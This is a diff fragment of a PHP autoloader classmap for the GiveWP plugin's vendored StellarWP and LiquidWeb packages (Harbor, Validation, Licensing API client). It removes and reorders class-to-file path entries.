-   'GiveVendorsLiquidWebHarborFeaturesFeature_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Feature_Repository.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdateResolve_Update_Data' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Resolve_Update_Data.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdateTheme_Handler' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Theme_Handler.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdatePlugin_Handler' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Plugin_Handler.php',
-   'GiveVendorsLiquidWebHarborFeaturesUpdateProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Update/Provider.php',
-   'GiveVendorsLiquidWebHarborFeaturesError_Code' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Error_Code.php',
-   'GiveVendorsLiquidWebHarborFeaturesFeature_Resource' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Feature_Resource.php',
-   'GiveVendorsLiquidWebHarborFeaturesManager' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Manager.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesFeature' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Feature.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesTheme' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Theme.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesPlugin' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Plugin.php',
-   'GiveVendorsLiquidWebHarborFeaturesTypesService' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Types/Service.php',
-   'GiveVendorsLiquidWebHarborFeaturesResolve_Feature_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Resolve_Feature_Collection.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyPlugin_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Plugin_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyService_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Service_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyInstallable_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Installable_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyStrategy_Factory' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Strategy_Factory.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyTheme_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Theme_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesStrategyAbstract_Strategy' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Strategy/Abstract_Strategy.php',
-   'GiveVendorsLiquidWebHarborFeaturesFeature_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Feature_Collection.php',
-   'GiveVendorsLiquidWebHarborFeaturesProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Features/Provider.php',
-   'GiveVendorsLiquidWebHarborCLICommandsFeature' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Commands/Feature.php',
-   'GiveVendorsLiquidWebHarborCLICommandsCatalog' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Commands/Catalog.php',
-   'GiveVendorsLiquidWebHarborCLICommandsLicense' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Commands/License.php',
-   'GiveVendorsLiquidWebHarborCLIDisplay' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Display.php',
-   'GiveVendorsLiquidWebHarborCLIProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/CLI/Provider.php',
-   'GiveVendorsLiquidWebHarborPortalContractsDownload_Url_Builder' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Contracts/Download_Url_Builder.php',
-   'GiveVendorsLiquidWebHarborPortalResultsCatalog_Tier' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Results/Catalog_Tier.php',
-   'GiveVendorsLiquidWebHarborPortalResultsCatalog_Feature' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Results/Catalog_Feature.php',
-   'GiveVendorsLiquidWebHarborPortalResultsTier_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Results/Tier_Collection.php',
-   'GiveVendorsLiquidWebHarborPortalResultsProduct_Catalog' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Results/Product_Catalog.php',
-   'GiveVendorsLiquidWebHarborPortalError_Code' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Error_Code.php',
-   'GiveVendorsLiquidWebHarborPortalCatalog_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Catalog_Collection.php',
-   'GiveVendorsLiquidWebHarborPortalHerald_Legacy_Url_Builder' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Herald_Legacy_Url_Builder.php',
-   'GiveVendorsLiquidWebHarborPortalCatalog_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Catalog_Repository.php',
-   'GiveVendorsLiquidWebHarborPortalHerald_Url_Builder' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Herald_Url_Builder.php',
-   'GiveVendorsLiquidWebHarborPortalClientsFixture_Client' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Clients/Fixture_Client.php',
-   'GiveVendorsLiquidWebHarborPortalClientsPortal_Client' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Clients/Portal_Client.php',
-   'GiveVendorsLiquidWebHarborPortalClientsHttp_Client' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Clients/Http_Client.php',
-   'GiveVendorsLiquidWebHarborPortalHerald_Routing_Url_Builder' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Herald_Routing_Url_Builder.php',
-   'GiveVendorsLiquidWebHarborPortalProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Portal/Provider.php',
-   'GiveVendorsLiquidWebHarborCronActionsHandle_Unschedule_Cron_Data_Refresh' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Actions/Handle_Unschedule_Cron_Data_Refresh.php',
-   'GiveVendorsLiquidWebHarborCronValueObjectsCronHook' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/ValueObjects/CronHook.php',
-   'GiveVendorsLiquidWebHarborCronJobsRefresh_License_Job' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Jobs/Refresh_License_Job.php',
-   'GiveVendorsLiquidWebHarborCronJobsRefresh_Catalog_Job' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Jobs/Refresh_Catalog_Job.php',
-   'GiveVendorsLiquidWebHarborCronProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Cron/Provider.php',
-   'GiveVendorsLiquidWebHarborNoticeNotice_Controller' => $strauss_src . '/stellarwp/harbor/src/Harbor/Notice/Notice_Controller.php',
-   'GiveVendorsLiquidWebHarborNoticeNotice' => $strauss_src . '/stellarwp/harbor/src/Harbor/Notice/Notice.php',
-   'GiveVendorsLiquidWebHarborHarbor' => $strauss_src . '/stellarwp/harbor/src/Harbor/Harbor.php',
-   'GiveVendorsLiquidWebHarborHttpProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Http/Provider.php',
-   'GiveVendorsLiquidWebHarborTraitsWith_Debugging' => $strauss_src . '/stellarwp/harbor/src/Harbor/Traits/With_Debugging.php',
-   'GiveVendorsLiquidWebHarborTraitsWith_Error_Throttle' => $strauss_src . '/stellarwp/harbor/src/Harbor/Traits/With_Error_Throttle.php',
-   'GiveVendorsLiquidWebHarborLicensingRepositoriesLicense_Repository' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Repositories/License_Repository.php',
-   'GiveVendorsLiquidWebHarborLicensingResultsProduct_Entry' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Results/Product_Entry.php',
-   'GiveVendorsLiquidWebHarborLicensingProduct_Collection' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Product_Collection.php',
-   'GiveVendorsLiquidWebHarborLicensingError_Code' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Error_Code.php',
-   'GiveVendorsLiquidWebHarborLicensingEnumsValidation_Status' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Enums/Validation_Status.php',
-   'GiveVendorsLiquidWebHarborLicensingLicense_Manager' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/License_Manager.php',
-   'GiveVendorsLiquidWebHarborLicensingRegistryProduct_Registry' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Registry/Product_Registry.php',
-   'GiveVendorsLiquidWebHarborLicensingProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Licensing/Provider.php',
-   'GiveVendorsLiquidWebHarborAdminFeature_Manager_Page' => $strauss_src . '/stellarwp/harbor/src/Harbor/Admin/Feature_Manager_Page.php',
-   'GiveVendorsLiquidWebHarborAdminProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/Admin/Provider.php',
-   'GiveVendorsLiquidWebHarborViewContractsView' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/Contracts/View.php',
-   'GiveVendorsLiquidWebHarborViewWordPress_View' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/WordPress_View.php',
-   'GiveVendorsLiquidWebHarborViewExceptionsFileNotFoundException' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/Exceptions/FileNotFoundException.php',
-   'GiveVendorsLiquidWebHarborViewProvider' => $strauss_src . '/stellarwp/harbor/src/Harbor/View/Provider.php',
-   'GiveVendorsStellarWPValidationCommandsExcludeValue' => $strauss_src . '/stellarwp/validation/src/Commands/ExcludeValue.php',
-   'GiveVendorsStellarWPValidationCommandsSkipValidationRules' => $strauss_src . '/stellarwp/validation/src/Commands/SkipValidationRules.php',
-   'GiveVendorsStellarWPValidationContractsValidationRule' => $strauss_src . '/stellarwp/validation/src/Contracts/ValidationRule.php',
-   'GiveVendorsStellarWPValidationContractsValidatesOnFrontEnd' => $strauss_src . '/stellarwp/validation/src/Contracts/ValidatesOnFrontEnd.php',
-   'GiveVendorsStellarWPValidationContractsSanitizer' => $strauss_src . '/stellarwp/validation/src/Contracts/Sanitizer.php',
-   'GiveVendorsStellarWPValidationConfig' => $strauss_src . '/stellarwp/validation/src/Config.php',
-   'GiveVendorsStellarWPValidationExceptionsContractsValidationExceptionInterface' => $strauss_src . '/stellarwp/validation/src/Exceptions/Contracts/ValidationExceptionInterface.php',
-   'GiveVendorsStellarWPValidationExceptionsValidationException' => $strauss_src . '/stellarwp/validation/src/Exceptions/ValidationException.php',
-   'GiveVendorsStellarWPValidationRulesInStrict' => $strauss_src . '/stellarwp/validation/src/Rules/InStrict.php',
-   'GiveVendorsStellarWPValidationRulesNullableIf' => $strauss_src . '/stellarwp/validation/src/Rules/NullableIf.php',
-   'GiveVendorsStellarWPValidationRulesExcludeIf' => $strauss_src . '/stellarwp/validation/src/Rules/ExcludeIf.php',
-   'GiveVendorsStellarWPValidationRulesCurrency' => $strauss_src . '/stellarwp/validation/src/Rules/Currency.php',
-   'GiveVendorsStellarWPValidationRulesOptionalUnless' => $strauss_src . '/stellarwp/validation/src/Rules/OptionalUnless.php',
-   'GiveVendorsStellarWPValidationRulesExclude' => $strauss_src . '/stellarwp/validation/src/Rules/Exclude.php',
-   'GiveVendorsStellarWPValidationRulesIn' => $strauss_src . '/stellarwp/validation/src/Rules/In.php',
-   'GiveVendorsStellarWPValidationRulesMin' => $strauss_src . '/stellarwp/validation/src/Rules/Min.php',
-   'GiveVendorsStellarWPValidationRulesExcludeUnless' => $strauss_src . '/stellarwp/validation/src/Rules/ExcludeUnless.php',
-   'GiveVendorsStellarWPValidationRulesNullable' => $strauss_src . '/stellarwp/validation/src/Rules/Nullable.php',
-   'GiveVendorsStellarWPValidationRulesEmail' => $strauss_src . '/stellarwp/validation/src/Rules/Email.php',
-   'GiveVendorsStellarWPValidationRulesNumeric' => $strauss_src . '/stellarwp/validation/src/Rules/Numeric.php',
-   'GiveVendorsStellarWPValidationRulesAbstractsConditionalRule' => $strauss_src . '/stellarwp/validation/src/Rules/Abstracts/ConditionalRule.php',
-   'GiveVendorsStellarWPValidationRulesMax' => $strauss_src . '/stellarwp/validation/src/Rules/Max.php',
-   'GiveVendorsStellarWPValidationRulesOptional' => $strauss_src . '/stellarwp/validation/src/Rules/Optional.php',
-   'GiveVendorsStellarWPValidationRulesInteger' => $strauss_src . '/stellarwp/validation/src/Rules/Integer.php',
-   'GiveVendorsStellarWPValidationRulesSize' => $strauss_src . '/stellarwp/validation/src/Rules/Size.php',
-   'GiveVendorsStellarWPValidationRulesBoolean' => $strauss_src . '/stellarwp/validation/src/Rules/Boolean.php',
-   'GiveVendorsStellarWPValidationRulesOptionalIf' => $strauss_src . '/stellarwp/validation/src/Rules/OptionalIf.php',
-   'GiveVendorsStellarWPValidationRulesNullableUnless' => $strauss_src . '/stellarwp/validation/src/Rules/NullableUnless.php',
-   'GiveVendorsStellarWPValidationRulesRequired' => $strauss_src . '/stellarwp/validation/src/Rules/Required.php',
-   'GiveVendorsStellarWPValidationRulesDateTime' => $strauss_src . '/stellarwp/validation/src/Rules/DateTime.php',
-   'GiveVendorsStellarWPValidationValidator' => $strauss_src . '/stellarwp/validation/src/Validator.php',
-   'GiveVendorsStellarWPValidationValidationRulesRegistrar' => $strauss_src . '/stellarwp/validation/src/ValidationRulesRegistrar.php',
-   'GiveVendorsStellarWPValidationServiceProvider' => $strauss_src . '/stellarwp/validation/src/ServiceProvider.php',
-   'GiveVendorsStellarWPValidationConcernsHasValidationRules' => $strauss_src . '/stellarwp/validation/src/Concerns/HasValidationRules.php',
-   'GiveVendorsStellarWPValidationValidationRuleSet' => $strauss_src . '/stellarwp/validation/src/ValidationRuleSet.php',
-   'GiveVendorsLiquidWebLicensingApiClientWordPressExceptionsWordPressHttpClientException' => $strauss_src . '/stellarwp/licensing-api-client-wordpress/src/Exceptions/WordPressHttpClientException.php',
-   'GiveVendorsLiquidWebLicensingApiClientWordPressHttpWordPressHttpClient' => $strauss_src . '/stellarwp/licensing-api-client-wordpress/src/Http/WordPressHttpClient.php',
-   'GiveVendorsLiquidWebLicensingApiClientWordPressWordPressApiFactory' => $strauss_src . '/stellarwp/licensing-api-client-wordpress/src/WordPressApiFactory.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesLicensesResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/LicensesResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsCreditsLedgerResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/CreditsLedgerResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsCreditsQuotasResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/CreditsQuotasResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsCreditsResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/CreditsResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsTokensResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/TokensResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsLicensesResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/LicensesResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsEntitlementsResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/EntitlementsResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsCreditsPoolsResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/CreditsPoolsResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesContractsProductsResourceInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Contracts/ProductsResourceInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesCreditCreditsLedgerResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Credit/CreditsLedgerResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesCreditCreditsQuotasResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Credit/CreditsQuotasResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesCreditCreditsPoolsResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Credit/CreditsPoolsResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesCreditCreditsResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Credit/CreditsResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesProductsResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/ProductsResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesTokensResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/TokensResource.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesConcernsRebindsAuthState' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Concerns/RebindsAuthState.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesConcernsRebindsRequestHeaderCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/Concerns/RebindsRequestHeaderCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResourcesEntitlementsResource' => $strauss_src . '/stellarwp/licensing-api-client/src/Resources/EntitlementsResource.php',
    'GiveVendorsLiquidWebLicensingApiClientApiBuilder' => $strauss_src . '/stellarwp/licensing-api-client/src/ApiBuilder.php',
-   'GiveVendorsLiquidWebLicensingApiClientContractsLicensingClientInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Contracts/LicensingClientInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientConfig' => $strauss_src . '/stellarwp/licensing-api-client/src/Config.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsClientErrorException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ClientErrorException.php',
    'GiveVendorsLiquidWebLicensingApiClientExceptionsMissingAuthenticationException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/MissingAuthenticationException.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsServerErrorException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ServerErrorException.php',
    'GiveVendorsLiquidWebLicensingApiClientExceptionsUnexpectedResponseException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/UnexpectedResponseException.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsContractsResponseExceptionInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/Contracts/ResponseExceptionInterface.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsAuthorizationException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/AuthorizationException.php',
    'GiveVendorsLiquidWebLicensingApiClientExceptionsContractsApiErrorExceptionInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/Contracts/ApiErrorExceptionInterface.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsAuthenticationException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/AuthenticationException.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsConflictException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ConflictException.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsContractsResponseExceptionInterface' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/Contracts/ResponseExceptionInterface.php',
    'GiveVendorsLiquidWebLicensingApiClientExceptionsApiResponseException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ApiResponseException.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsNotFoundException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/NotFoundException.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsAuthenticationException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/AuthenticationException.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsClientErrorException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ClientErrorException.php',
    'GiveVendorsLiquidWebLicensingApiClientExceptionsDecodingException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/DecodingException.php',
    'GiveVendorsLiquidWebLicensingApiClientExceptionsValidationException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ValidationException.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsServerErrorException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ServerErrorException.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsAuthorizationException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/AuthorizationException.php',
-   'GiveVendorsLiquidWebLicensingApiClientExceptionsNotFoundException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/NotFoundException.php',
-   'GiveVendorsLiquidWebLicensingApiClientApi' => $strauss_src . '/stellarwp/licensing-api-client/src/Api.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesContractsResponse' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Contracts/Response.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseRegenerateKey' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/RegenerateKey.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValidatedProductCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValidatedProductCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseListingValueObjectsListedProduct' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Listing/ValueObjects/ListedProduct.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseListingValueObjectsListedProductCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Listing/ValueObjects/ListedProductCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseListingValueObjectsLicenseListItem' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Listing/ValueObjects/LicenseListItem.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseListingListing' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Listing/Listing.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseDeleteActivation' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/DeleteActivation.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseAliasImportAliases' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Alias/ImportAliases.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseAliasRemoveAliases' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Alias/RemoveAliases.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseAliasValueObjectsImportedAlias' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Alias/ValueObjects/ImportedAlias.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseStatusChange' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/StatusChange.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValueObjectsProductValidation' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValueObjects/ProductValidation.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValueObjectsEntitlement' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValueObjects/Entitlement.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValueObjectsLicenseSummary' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValueObjects/LicenseSummary.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValueObjectsActivation' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValueObjects/Activation.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValueObjectsActivationEntitlement' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValueObjects/ActivationEntitlement.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValueObjectsAvailableEntitlement' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/ValueObjects/AvailableEntitlement.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseDeactivate' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Deactivate.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseValidate' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Validate.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesLicenseActivate' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/License/Activate.php',
+   'GiveVendorsLiquidWebLicensingApiClientExceptionsConflictException' => $strauss_src . '/stellarwp/licensing-api-client/src/Exceptions/ConflictException.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditQuotaCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/QuotaCollection.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditRefund' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/Refund.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditLedgerPage' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/LedgerPage.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesCreditPoolCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/PoolCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditDeleteQuota' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/DeleteQuota.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesCreditBalanceCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/BalanceCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditRefund' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/Refund.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditQuotaCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/QuotaCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditDeletePool' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/DeletePool.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsCreditPool' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/CreditPool.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsBalanceEntry' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/BalanceEntry.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsPoolBalance' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/PoolBalance.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsCreditPool' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/CreditPool.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsLedgerEntry' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/LedgerEntry.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsBalanceEntry' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/BalanceEntry.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesCreditValueObjectsSiteQuota' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/ValueObjects/SiteQuota.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditDeletePool' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/DeletePool.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesCreditRecordUsage' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/RecordUsage.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditLedgerPage' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/LedgerPage.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesCreditDeleteQuota' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Credit/DeleteQuota.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesErrorResponse' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/ErrorResponse.php',
+   'GiveVendorsLiquidWebLicensingApiClientResponsesContractsResponse' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/Contracts/Response.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesValueObjectsPaginationLinks' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/ValueObjects/PaginationLinks.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesValueObjectsPageMeta' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/ValueObjects/PageMeta.php',
    'GiveVendorsLiquidWebLicensingApiClientResponsesValueObjectsCapabilityCollection' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/ValueObjects/CapabilityCollection.php',
-   'GiveVendorsLiquidWebLicensingApiClientResponsesErrorResponse' => $strauss_src . '/stellarwp/licensing-api-client/src/Responses/ErrorResponse.php',
